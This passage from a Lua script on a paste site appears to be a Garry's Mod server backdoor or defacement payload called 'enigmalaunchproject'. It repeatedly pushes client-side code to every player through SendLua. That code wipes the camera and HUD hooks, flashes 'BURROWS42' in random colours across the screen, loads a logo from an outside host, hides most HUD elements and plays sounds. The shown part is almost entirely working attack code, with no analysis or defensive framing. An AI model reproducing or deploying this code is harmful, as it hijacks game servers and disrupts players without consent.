  922. ["$pp_colour_addb"] = 0,
  923. ["$pp_colour_brightness" ] = 0.1,
  924. ["$pp_colour_contrast" ] = 0.1,
  925. ["$pp_colour_colour" ] = 0.1,
  926. ["$pp_colour_mulr" ] = 0,
  927. ["$pp_colour_mulg" ] = 0,
  928. ["$pp_colour_mulb" ] = 0
  929. }
  930. end )
  931.  
  932. ]] )
  933. end )
  934.  
  935. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  936. enigmalaunchproject:SendLua( pPlayer, [[
  937.  
  938. (GAMEMODE or GM).CalcView = function() end
  939. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  940.  
  941. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  942. for k, v in pairs(remove) do
  943. hook.GetTable()[v] = {}
  944. end
  945.  
  946. local function GetWebMat( strURL )
  947. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  948. end
  949.  
  950. hook.Add( "HUDPaint", "hud1enigma", function()
  951. surface.SetDrawColor( 255, 255, 255, 255 )
  952.  
  953. draw.SimpleTextOutlined(
  954. "BURROWS42",
  955. "DermaLarge",
  956. ScrW() /2 +math.random( -270, 300 ),
  957. ScrH() /2 +math.random( -300, 700 ) +0,
  958. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  959. TEXT_ALIGN_CENTER,
  960. TEXT_ALIGN_CENTER,
  961. 1,
  962. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  963. )
  964. end )
  965.  
  966. ]] )
  967. end )
  968.  
  969.  
  970. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  971. enigmalaunchproject:SendLua( pPlayer, [[
  972.  
  973. (GAMEMODE or GM).CalcView = function() end
  974. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  975.  
  976. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  977. for k, v in pairs(remove) do
  978. hook.GetTable()[v] = {}
  979. end
  980.  
  981. local function GetWebMat( strURL )
  982. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  983. end
  984.  
  985. hook.Add( "HUDPaint", "hud2enigma", function()
  986. surface.SetDrawColor( 255, 255, 255, 255 )
  987.  
  988. draw.SimpleTextOutlined(
  989. "BURROWS42",
  990. "DermaLarge",
  991. ScrW() /2 +math.random( -600, 700 ),
  992. ScrH() /2 +math.random( -200, 800 ) +100,
  993. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  994. TEXT_ALIGN_CENTER,
  995. TEXT_ALIGN_CENTER,
  996. 1,
  997. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  998. )
  999. end )
  1000. ]] )
  1001. end )
  1002.  
  1003. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1004. enigmalaunchproject:SendLua( pPlayer, [[
  1005.  
  1006. (GAMEMODE or GM).CalcView = function() end
  1007. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1008.  
  1009. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1010. for k, v in pairs(remove) do
  1011. hook.GetTable()[v] = {}
  1012. end
  1013.  
  1014. local function GetWebMat( strURL )
  1015. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1016. end
  1017.  
  1018. hook.Add( "HUDPaint", "hud3enigma", function()
  1019. surface.SetDrawColor( 255, 255, 255, 255 )
  1020.  
  1021. draw.SimpleTextOutlined(
  1022. "BURROWS42",
  1023. "DermaLarge",
  1024. ScrW() /2 +math.random( -400, 500 ),
  1025. ScrH() /2 +math.random( -600, 500 ) -100,
  1026. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1027. TEXT_ALIGN_CENTER,
  1028. TEXT_ALIGN_CENTER,
  1029. 1,
  1030. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1031. )
  1032. end )
  1033. ]] )
  1034. end )
  1035.  
  1036. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1037. enigmalaunchproject:SendLua( pPlayer, [[
  1038.  
  1039. (GAMEMODE or GM).CalcView = function() end
  1040. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1041.  
  1042. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1043. for k, v in pairs(remove) do
  1044. hook.GetTable()[v] = {}
  1045. end
  1046.  
  1047. local function GetWebMat( strURL )
  1048. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1049. end
  1050.  
  1051. hook.Add( "HUDPaint", "hud5enigma", function()
  1052. surface.SetDrawColor( 255, 255, 255, 255 )
  1053.  
  1054. draw.SimpleTextOutlined(
  1055. "BURROWS42",
  1056. "DermaLarge",
  1057. ScrW() /2 +math.random( -500, 500 ),
  1058. ScrH() /2 +math.random( -500, 500 ) +0,
  1059. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1060. TEXT_ALIGN_CENTER,
  1061. TEXT_ALIGN_CENTER,
  1062. 1,
  1063. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1064. )
  1065. end )
  1066. ]] )
  1067. end )
  1068.  
  1069. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1070. enigmalaunchproject:SendLua( pPlayer, [[
  1071.  
  1072. (GAMEMODE or GM).CalcView = function() end
  1073. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1074.  
  1075. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1076. for k, v in pairs(remove) do
  1077. hook.GetTable()[v] = {}
  1078. end
  1079.  
  1080. local function GetWebMat( strURL )
  1081. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1082. end
  1083.  
  1084. hook.Add( "HUDPaint", "hud7enigma", function()
  1085. surface.SetDrawColor( 255, 255, 255, 255 )
  1086.  
  1087. draw.SimpleTextOutlined(
  1088. "BURROWS42",
  1089. "DermaLarge",
  1090. ScrW() /2 +math.random( -700, 700 ),
  1091. ScrH() /2 +math.random( -700, 700 ) +300,
  1092. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1093. TEXT_ALIGN_CENTER,
  1094. TEXT_ALIGN_CENTER,
  1095. 1,
  1096. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1097. )
  1098. end )
  1099. ]] )
  1100. end )
  1101.  
  1102. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1103. enigmalaunchproject:SendLua( pPlayer, [[
  1104.  
  1105. (GAMEMODE or GM).CalcView = function() end
  1106. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1107.  
  1108. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1109. for k, v in pairs(remove) do
  1110. hook.GetTable()[v] = {}
  1111. end
  1112.  
  1113. local function GetWebMat( strURL )
  1114. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1115. end
  1116.  
  1117. hook.Add( "HUDPaint", "hud10enigma", function()
  1118. surface.SetDrawColor( 255, 255, 255, 255 )
  1119.  
  1120. draw.SimpleTextOutlined(
  1121. "BURROWS42",
  1122. "DermaLarge",
  1123. ScrW() /2 +math.random( -800, 800 ),
  1124. ScrH() /2 +math.random( -800, 800 ) -400,
  1125. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1126. TEXT_ALIGN_CENTER,
  1127. TEXT_ALIGN_CENTER,
  1128. 1,
  1129. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1130. )
  1131. end )
  1132. ]] )
  1133. end )
  1134.  
  1135. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1136. enigmalaunchproject:SendLua( pPlayer, [[
  1137.  
  1138. (GAMEMODE or GM).CalcView = function() end
  1139. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1140.  
  1141. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1142. for k, v in pairs(remove) do
  1143. hook.GetTable()[v] = {}
  1144. end
  1145.  
  1146. local function GetWebMat( strURL )
  1147. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1148. end
  1149.  
  1150. hook.Add( "HUDPaint", "hud12enigma", function()
  1151. surface.SetDrawColor( 255, 255, 255, 255 )
  1152.  
  1153. draw.SimpleTextOutlined(
  1154. "BURROWS42",
  1155. "DermaLarge",
  1156. ScrW() /2 +math.random( -850, 850 ),
  1157. ScrH() /2 +math.random( -850, 850 ) +100,
  1158. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1159. TEXT_ALIGN_CENTER,
  1160. TEXT_ALIGN_CENTER,
  1161. 1,
  1162. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1163. )
  1164. end )
  1165. ]] )
  1166. end )
  1167.  
  1168. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1169. enigmalaunchproject:SendLua( pPlayer, [[
  1170.  
  1171. (GAMEMODE or GM).CalcView = function() end
  1172. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1173.  
  1174. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1175. for k, v in pairs(remove) do
  1176. hook.GetTable()[v] = {}
  1177. end
  1178.  
  1179. local function GetWebMat( strURL )
  1180. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1181. end
  1182.  
  1183. hook.Add( "HUDPaint", "hud1enigma", function()
  1184. surface.SetDrawColor( 255, 255, 255, 255 )
  1185.  
  1186. draw.SimpleTextOutlined(
  1187. "BURROWS42",
  1188. "DermaLarge",
  1189. ScrW() /2 +math.random( -300, 600 ),
  1190. ScrH() /2 +math.random( -600, 300 ) +200,
  1191. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1192. TEXT_ALIGN_CENTER,
  1193. TEXT_ALIGN_CENTER,
  1194. 1,
  1195. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1196. )
  1197. end )
  1198. ]] )
  1199. end )
  1200.  
  1201. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1202. enigmalaunchproject:SendLua( pPlayer, [[
  1203.  
  1204. (GAMEMODE or GM).CalcView = function() end
  1205. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1206.  
  1207. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1208. for k, v in pairs(remove) do
  1209. hook.GetTable()[v] = {}
  1210. end
  1211.  
  1212. local function GetWebMat( strURL )
  1213. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1214. end
  1215.  
  1216. hook.Add( "HUDPaint", "hud1enigma", function()
  1217. surface.SetDrawColor( 255, 255, 255, 255 )
  1218.  
  1219. draw.SimpleTextOutlined(
  1220. "BURROWS42",
  1221. "DermaLarge",
  1222. ScrW() /2 +math.random( -300, 600 ),
  1223. ScrH() /2 +math.random( -600, 300 ) +200,
  1224. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1225. TEXT_ALIGN_CENTER,
  1226. TEXT_ALIGN_CENTER,
  1227. 1,
  1228. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1229. )
  1230. end )
  1231. ]] )
  1232. end )
  1233.  
  1234.  
  1235. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1236. enigmalaunchproject:SendLua( pPlayer, ([=[
  1237.  
  1238. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1239. local html = [[%s]]
  1240. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1241. local pnl = vgui.Create( "HTML" )
  1242. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1243. pnl:SetVisible( true )
  1244. pnl:SetMouseInputEnabled( false )
  1245. pnl:SetKeyBoardInputEnabled( false )
  1246. pnl:SetSize( intSizeX, intSizeY )
  1247. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1248.  
  1249. local PageLoaded
  1250. PageLoaded = function()
  1251. local mat = pnl:GetHTMLMaterial()
  1252. if mat then
  1253. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1254. return
  1255. end
  1256.  
  1257. timer.Simple( 0.5, PageLoaded )
  1258. end
  1259.  
  1260. PageLoaded()
  1261. end
  1262.  
  1263. LoadWebMaterial( "https://thereaper.tk/__/hehehe/__!!__!!/bravo_ct_inutile/enigmaaaa.png", "EnigmaLogo", 1000, 1000 )
  1264. ]=]):format(lol.m_strImageLoadHTML) )
  1265. end )
  1266.  
  1267. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1268. enigmalaunchproject:SendLua( pPlayer, [[
  1269. (GAMEMODE or GM).CalcView = function() end
  1270. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1271.  
  1272. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1273. for k, v in pairs(remove) do
  1274. hook.GetTable()[v] = {}
  1275. end
  1276.  
  1277. local function GetWebMat( strURL )
  1278. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1279. end
  1280.  
  1281. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1282. surface.SetDrawColor( 255, 255, 255, 255 )
  1283.  
  1284. if GetWebMat( "EnigmaLogo" ) then
  1285. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1286. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1287. end
  1288. end )
  1289.  
  1290. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1291. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1292.  
  1293. surface.PlaySound( "garrysmod/save_load4.wav" )
  1294. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1295. ]] )
  1296. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement